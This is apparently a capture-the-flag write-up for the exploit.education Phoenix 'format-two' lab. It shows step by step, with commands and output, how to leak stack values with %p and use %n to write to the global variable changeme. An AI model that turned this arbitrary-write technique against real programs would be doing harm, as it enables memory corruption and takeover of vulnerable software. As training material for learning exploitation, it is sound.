04 February 2019

Format 2

Write-up for: Format Two

This challenge requires us to overwrite a global integer variable changeme.

The bug

Again, the buf is providing user input as the format string to printf. This time, input is provided via argv[1] and printf is wrapped in a function.

The exploit

The goal is to write data to a specific address. In order to turn a format string bug into an arbitrary write primitive is by using the %n format specifier, which, according to the printf man page does the following:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

So a legitimate use of this specified would be the following:

int numCharsWritten = 0;
printf("Hello World%n", &numCharsWritten);
printf("Number of chars written: %d", numCharsWritten);

This code snippet will print out the number of characters written until the %n specifier. In order for this to work, printf pops the argument from the stack an interprets it as an address. If there is no argument, it just pops the next value of the stack.

To turn this into an arbitrary write, we need a way to provide the value on the stack. Luckily for us, our input string is also stored on the stack, so in order to write to any address, we just need to start our input string with the address we want to write to.

Now we know that the target address is on the stack. However, it is not the first value on the stack (since it is in a different frame). Thus, we first need to figure out the offset of our format string. This can be done by abusing the format string bug to print out the content of the stack:

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two "AAAA %p %p %p %p %p %p %p %p %p %p %p %p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAA 0xffffd75d 0x100 0 0xf7f84b67 0xffffd5a0 0xffffd588 0x80485a0 0xffffd480 0xffffd75d 0x100 0x3e8 0x41414141Better luck next time!

As we can see, the 0x41414141 representing the beginning of our string is the 12th value. This means we need to trick printf into thinking the parameter for %n comes at the 12th position. On some platforms, you can use the %NUMBER modifier to select a specific argument for the subsequent modifier:

printf("AAAA%12$p");

However, this fails in our case:

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two "AAAA %12$p"
Welcome to phoenix/format-two, brought to you by https://exploit.education
Better luck next time!

Alternatively, since we have enough space in our buffer, we can just provide 12 arguments:

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two "AAAA %p %p %p %p %p %p %p %p %p %p %p %n"
Welcome to phoenix/format-two, brought to you by https://exploit.education
Segmentation fault

Looks like we’re writing to memory! Let’s use some address that we can write to:

user@phoenix-amd64:/opt/phoenix/i486$ objdump -t format-two | grep changeme
08049868 g     O .bss   00000004 changeme

user@phoenix-amd64:/opt/phoenix/i486$ ./format-two `python -c 'print "\x08\x04\x98\x68"[::-1] + "%p"*11 + "%n"'`
Welcome to phoenix/format-two, brought to you by https://exploit.education
0xffffd7690x10000xf7f84b670xffffd5a00xffffd5880x80485a00xffffd4800xffffd7690x1000x3e8Well done, the 'changeme' variable has been changed correctly!

Done :)! To recap, we’re looking up the address of the global changeme variable using objdump. Then, for our format string, we provide the address as the beggining of our string. Then we pop 4-byte values from the stack using the %p specifier until we reach our input (the 12th value). As the last specifier we use %n which writes the number of characters written so far to the address specified in the argument. In our case, that’s the address of changeme.